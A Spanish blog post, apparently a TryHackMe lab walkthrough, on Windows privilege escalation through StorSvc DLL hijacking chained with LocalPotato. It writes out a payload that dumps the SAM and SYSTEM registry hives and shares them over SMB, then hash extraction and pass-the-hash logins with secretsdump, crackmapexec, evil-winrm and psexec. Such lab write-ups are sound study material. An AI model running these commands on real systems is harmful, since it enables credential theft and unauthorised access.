Allá por febrero de este año, el perfil de Twitter de la gente de BlackArrow (equipo especialista de Tarlogic), hacía publico este vector que me resultó bastante curioso para conseguir escalar privilegios de forma local en sistemas Windows. Creo recordar (vagamente) que por aquel entonces estaba inmerso en las validaciones de lo que se conoció como LocalPotato y que ya les traje a través del post que titulé: «Breve revisión de la vulnerabilidad CVE-2023-21746 a.k.a. LocalPotato» en este blog. También recuerdo que en su momento tuve algunas dificultades para compilar las PoC para llevar a la practica este aprovechamiento, sin embargo hace poco me encontré en la plataforma TryHackMe una room (LocalPotato) acondicionada para «jugar», además con este vector que nos presentaron los investigadores Kurosh Dabbagh (@_Kudaes_) y Antón Ortigueira (@antuache) en la siguiente publicación titulada: LPE via StorSvc y que describe originalmente como:
Windows Local Privilege Escalation via StorSvc service (writable SYSTEM path DLL Hijacking)
La propia publicación describe este hallazgo algo como:
Storage Service (StorSvc) es un servicio que se ejecuta como
NT AUTHORITY\SYSTEM
y que intenta cargar la DLL extraviada SprintCSP.dll cuando es disparada a través de llamadas RPC al métodoSvcRebootToFlashingMode
.
Es aquí que aprovechando este vacío, en donde un atacante que pueda escribir sobre una ruta del sistema (current Path), logrará «colar» una DLL especialmente diseñada (y que también nos comparte su autor) para ejecutar acciones privilegiadas en el sistema. A continuación nos centraremos en esta parte de la room de TryHackMe, obviando de cierta forma la otra vulnerabilidad que ya tratamos con anterioridad (LocalPotato).
Aprovechamiento
Lo primero identifiquemos el sistema operativo de nuestro entorno objetivo, esto lo hacemos básicamente para perfilar los exploits que compilaremos en breve.
Este laboratorio ya cuenta con una copia de la prueba de concepto (PoC) del investigador, revisemos su contenido:
Aquí identificaremos 2 principales directorios:
- La carpeta RpcClient que contiene el código fuente del ejecutable que realizará las llamadas RPC.
- La carpeta SprintCSP, contiene el código fuente para generar la librería (DLL)
SprintCSP.dll
, que será que contendrá nuestro payload.
Esto último y por defecto, si simplemente nos limitamos a compilarlo, entonces al ejecutar el ataque solo guardaremos en las ruta C:\ProgramData
un fichero de texto llamado whoamiall.txt
que contendrá el resultado de ejecutar el comando whoami
con los privilegios máximos alcanzados. Sin embargo y para darle un poco más de jugada, «customizaremos» esta parte.
En el proceso de compilación lo primero que pretenderemos hacer es ejecutar la utilidad MSBuild, sin embargo si no lo tenemos preparado, nuestra consola no podrá ubicarlo en el sistema:
Revisando algunos tutoriales de Microsoft, me encontré con esta entrada: Locating MSBuild on a machine, en donde básicamente se arroja luz de como ubicar la ruta del ejecutable MSBuild.exe, que prácticamente se trata de ejecutar la siguiente utilidad:
"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe"
A partir del resultado nos focalizaremos en el valor del campo «installationPath» y le complementaremos con los siguiente elementos: \MSBuild\Current\Bin\MSBuild.exe
, con esto ya tendríamos lista la ruta exacta de la utilidad MSBuild que precisamos para la compilación. Ahora vayamos con «lo que nos interesa».
De la carpeta RpcClient tomaremos el fichero storsvc_c.c
(LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c
) para editar fugazmente las siguientes líneas:
Esto será necesario aquí por que básicamente estamos ante un sistema con Windows Server 2019, como ya hemos visto más arriba.
Por tanto ejecutaremos el siguiente comando desde nuestro cmd para compilarlo y obtener el ejecutable:
"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" RpcClient.sln
De ir todo como se espera, obtendremos en la ruta generada .\x64\Debug\
, el siguiente contenido:
Por el otro lado, de la carpeta SprintCSP tomaremos el fichero main.c
(LPE via StorSvc\SprintCSP\SprintCSP\main.c
) y editaremos la parte en donde indicamos la acción que deseamos ejecutar al conseguir alcanzar con éxito la escalada de privilegios, justo dentro de la función DoStuff()
:
En esta línea 12 del código fuente reemplazare lo que hay dentro del «CreateProcess» por el siguiente contenido:
L"c:\\windows\\system32\\cmd.exe",L" /C mkdir C:\\Users\\user\\Desktop\\temp && reg save hklm\\sam C:\\Users\\user\\Desktop\\temp\\sam.copy && reg save hklm\\system C:\\Users\\user\\Desktop\\temp\\system.copy && net share dump=C:\\Users\\user\\Desktop\\temp /grant:everyone,full",
Que básicamente y si lo desgranamos trata de lo siguiente:
c:\windows\system32\cmd.exe
.- definición y utilización de consola./C
.- es la forma de indicar a la consola los comandos que quiero que ejecute.mkdir C:\Users\user\Desktop\temp
.- con esto crearemos una carpeta llamadatemp
en el escritorio del usuariouser
.reg save hklm\sam C:\Users\user\Desktop\temp\sam.copy
.- realizamos una copia del registro del fichero SAM.reg save hklm\system C:\Users\user\Desktop\temp\system.copy
.- también hacemos lo propio para el fichero SYSTEM.net share dump=C:\Users\user\Desktop\temp /grant:everyone,full
.- finalmente con esto compartimos mediante SMB la carpetatemp
en un recurso compartido llamadodump
para poder acceder desde nuestro equipo de ataque.
Lo compilamos posteriormente:
"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" SprintCSP.sln
Esto dará algún mensaje de advertencia, pero no debería preocuparnos especialmente, ya que finalmente presentará el siguiente resultado:
Para mayor facilidad, llevaremos las muestras generadas (compiladas) RpcClient.exe y SprintCSP.dll, al escritorio del usuario:
Es momento de revisar las variables del entorno a fin de identificar la ruta (PATH) idónea donde escribir nuestra DLL generada, para ello ejecutaremos el siguiente comando:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
En la PoC del investigador estratégicamente se muestra una ruta editable/grabable para poder colocar la DLL, sin embargo en este laboratorio no contamos con dicha oportunidad, por tanto nos valdremos de la vulnerabilidad de LocalPotato para escribir sobre una ruta restringida. Observemos las validaciones previas y posterior aprovechamiento con LocalPotato:
Listo, ya tenemos todo preparado para ejecutar el ataque y conseguir el propósito. Para dispararlo haremos uso de la otra parte compilada, el fichero RpcClient.exe:
De ir todo correctamente (como es de esperar), obtendremos un resultado como el siguiente:
Ahora tan solo tendremos que dirigirnos a nuestro equipo de ataque y revisar el recurso compartido mediante SMB:
Descargamos ambos ficheros volcados:
Y de esta forma obtenemos los hashes NTLM de los usuarios locales del sistema objetivo:
impacket-secretsdump -sam sam.copy -system system.copy local
Es momento de validar mediante CME el nivel de acceso conseguido:
crackmapexec smb 10.10.22.230 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:a9b119173152b5051a6c1130e7a384e9
Posteriormente producimos el acceso al sistema mediante el protocolo WinRM, para ello nos valdremos de la magnifica herramienta de los jugones de Hackplayers (Cybervaca, OscarAkaElvis, Jarilaos, arale61, y los otros): Evil-WinRM.
evil-winrm -i 10.10.22.230 -u Administrator -H a9b119173152b5051a6c1130e7a384e9
Alternativamente también podremos tirar de PsExec de Impacket:
impacket-psexec Administrator@10.10.22.230 -hashes aad3b435b51404eeaad3b435b51404ee:a9b119173152b5051a6c1130e7a384e9
Por último, no quiero cerrar el post sin agradecer a los investigadores Kurosh Dabbagh (@_Kudaes_) y Antón Ortigueira (@antuache) en primer lugar por este hallazgo y a los que hicieron posible esta room de TryHackMe (Dex01, munra y DrGonz0), para poner en práctica esta técnica y seguir progresando en el aprendizaje.